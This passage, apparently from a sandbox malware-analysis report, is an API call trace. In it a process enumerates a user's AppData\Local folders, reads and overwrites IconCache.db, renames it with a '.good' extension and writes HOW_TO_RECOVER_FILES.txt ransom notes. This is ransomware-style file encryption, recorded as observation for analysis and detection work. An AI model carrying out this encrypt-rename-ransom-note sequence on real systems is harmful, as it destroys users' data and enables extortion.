ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEF", cAlternateFileName="")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0133.955] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x56f5f2ae, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x11110, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2dd2b1f2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2dd2b1f2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0133.956] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ed1a0 | out: lpFindFileData=0x1f6ed1a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.957] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed400) returned 1 [0133.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed3c0) returned 1 [0133.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", nBufferLength=0x105, lpBuffer=0x1f6ecda0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", lpFilePart=0x0) returned 0x2a [0133.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed270) returned 1 [0133.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), fInfoLevelId=0x0, lpFileInformation=0x38b2078 | out: lpFileInformation=0x38b2078*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x56f5f2ae, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x11110)) returned 1 [0133.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed230) returned 1 [0133.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", nBufferLength=0x105, lpBuffer=0x1f6ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", lpFilePart=0x0) returned 0x2a [0133.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed170) returned 1 [0133.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0133.958] GetFileType (hFile=0x644) returned 0x1 [0133.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed0e0) returned 1 [0133.958] GetFileType (hFile=0x644) returned 0x1 [0133.958] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ed2c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ed2c8*=0) returned 0x1000 [0133.958] ReadFile (in: hFile=0x644, lpBuffer=0x38b2420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ed298, lpOverlapped=0x0 | out: lpBuffer=0x38b2420*, lpNumberOfBytesRead=0x1f6ed298*=0x1000, lpOverlapped=0x0) returned 1 [0133.959] CloseHandle (hObject=0x644) returned 1 [0133.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", nBufferLength=0x105, lpBuffer=0x1f6ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", lpFilePart=0x0) returned 0x2a [0133.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed170) returned 1 [0133.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0133.959] GetFileType (hFile=0x644) returned 0x1 [0133.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed0e0) returned 1 [0133.959] GetFileType (hFile=0x644) returned 0x1 [0133.959] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ed2c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ed2c8*=0) returned 0x11110 [0133.959] WriteFile (in: hFile=0x644, lpBuffer=0x38b3680*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ed1b8, lpOverlapped=0x0 | out: lpBuffer=0x38b3680*, lpNumberOfBytesWritten=0x1f6ed1b8*=0x10, lpOverlapped=0x0) returned 1 [0133.960] CloseHandle (hObject=0x644) returned 1 [0133.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", nBufferLength=0x105, lpBuffer=0x1f6ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", lpFilePart=0x0) returned 0x2a [0133.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed170) returned 1 [0133.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0133.960] GetFileType (hFile=0x644) returned 0x1 [0133.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed0e0) returned 1 [0133.960] GetFileType (hFile=0x644) returned 0x1 [0134.008] ReadFile (in: hFile=0x644, lpBuffer=0x36e4ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ed248, lpOverlapped=0x0 | out: lpBuffer=0x36e4ad8*, lpNumberOfBytesRead=0x1f6ed248*=0x1000, lpOverlapped=0x0) returned 1 [0134.035] CloseHandle (hObject=0x644) returned 1 [0134.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", nBufferLength=0x105, lpBuffer=0x1f6ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", lpFilePart=0x0) returned 0x2a [0134.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed170) returned 1 [0134.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0134.035] GetFileType (hFile=0x644) returned 0x1 [0134.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed0e0) returned 1 [0134.036] GetFileType (hFile=0x644) returned 0x1 [0134.036] WriteFile (in: hFile=0x644, lpBuffer=0x36e38e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x36e38e0*, lpNumberOfBytesWritten=0x1f6ed2f8*=0x1010, lpOverlapped=0x0) returned 1 [0134.036] CloseHandle (hObject=0x644) returned 1 [0134.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", nBufferLength=0x105, lpBuffer=0x1f6ecda0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db", lpFilePart=0x0) returned 0x2a [0134.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.gоod", nBufferLength=0x105, lpBuffer=0x1f6ecda0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.gоod", lpFilePart=0x0) returned 0x2f [0134.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ed230) returned 1 [0134.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), fInfoLevelId=0x0, lpFileInformation=0x1f6ed310 | out: lpFileInformation=0x1f6ed310*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4c1a4a49, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11120)) returned 1 [0134.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ed1f0) returned 1 [0134.036] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\IconCache.db.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\iconcache.db.gоod")) returned 1 [0134.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0134.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0134.037] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.038] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.038] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0134.038] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0134.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0134.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0134.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0134.038] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.038] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.039] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0134.039] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0134.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0134.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0134.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0134.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\activesync\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0134.039] GetFileType (hFile=0x644) returned 0x1 [0134.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0134.039] GetFileType (hFile=0x644) returned 0x1 [0134.128] WriteFile (in: hFile=0x644, lpBuffer=0x3770a60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x3770a60*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0134.129] CloseHandle (hObject=0x644) returned 1 [0134.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0134.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0134.130] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.131] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, 